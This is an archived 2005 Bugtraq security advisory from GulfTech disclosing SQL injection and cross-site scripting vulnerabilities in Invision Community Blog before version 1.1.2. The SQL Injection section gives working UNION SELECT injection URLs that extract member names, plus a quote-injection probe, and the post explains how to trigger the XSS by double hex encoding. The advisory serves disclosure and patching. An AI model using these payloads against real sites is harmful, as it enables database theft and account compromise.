bugtraq - Invision Community Blog Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Thu, 09 Jun 2005 07:55:40 -0500
From: GulfTech Security Research <security@...ftech.org>
To: BugTraq <bugtraq@...urityfocus.com>,
	Secunia Research <vuln@...unia.com>, OSVDB <moderators@...db.org>
Subject: Invision Community Blog Vulnerabilities

##########################################################
# GulfTech Security Research               June 7th, 2005
##########################################################
# Vendor  : Invision Power Services
# URL     : http://www.invisionblog.com
# Version : All Versions Prior To 1.1.2 Final
# Risk    : Multiple Vulnerabilities
##########################################################

Description:
Invision Blog is a community based blogging software that can be
integrated into Invision Power Board. There are several dangerous
SQL Injection vulnerabilities, as well as a cross site scripting
vulnerability. These vulnerabilities could allow for an attacker
to gain access to sensitive data such as password information and
render hostile script in the context of a victims browser which
could lead to disclosure of sensitive data such as cookie data.

Cross Site Scripting:
There is a cross site scripting issue in Invision Blog that may
allow for an attacker to render hostile client side code in a
users browser. The vulnerable function convert_highlite_words()
doesn't properly sanitize data returned by urldecode() and can be
taken advantage of by double hex encoding highlight data.

SQL Injection:
There are a number of serious SQL Injection vulnerabilities in the
Invision Blog software. Below are harmless examples that will pull a users
name from the database.

http://localhost/index.php?automodule=blog&blogid=1&cmd=editentry&eid=99
%20UNION%20SELECT%201,0,0,name,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_
members%20WHERE%201/*

http://localhost/index.php?automodule=blog&blogid=1&cmd=replyentry&eid=99
%20UNION%20SELECT%201,0,0,name,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_
members%20WHERE%201/*

http://localhost/index.php?automodule=blog&blogid=1&cmd=editcomment&eid=1&
cid=-99%20UNION%20SELECT%201,0,0,0,0,0,0,0,0,0,0,0,0,name%20FROM%20ibf_
members%20WHERE%201/*

http://localhost/index.php?automodule=blog&blogid=1&cmd=aboutme&mid=2'

The last example is not very easy to exploit, but can be exploited with
a bit of effort.

Solution:
Updated version of the Invision Blog software have been available for many
weeks now. Users should upgrade as soon as possible. Special thanks to the
guys at Invision for fixing these issues so quickly :)

Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00078-06072005

Credits:
James Bercegay of the GulfTech Security Research Team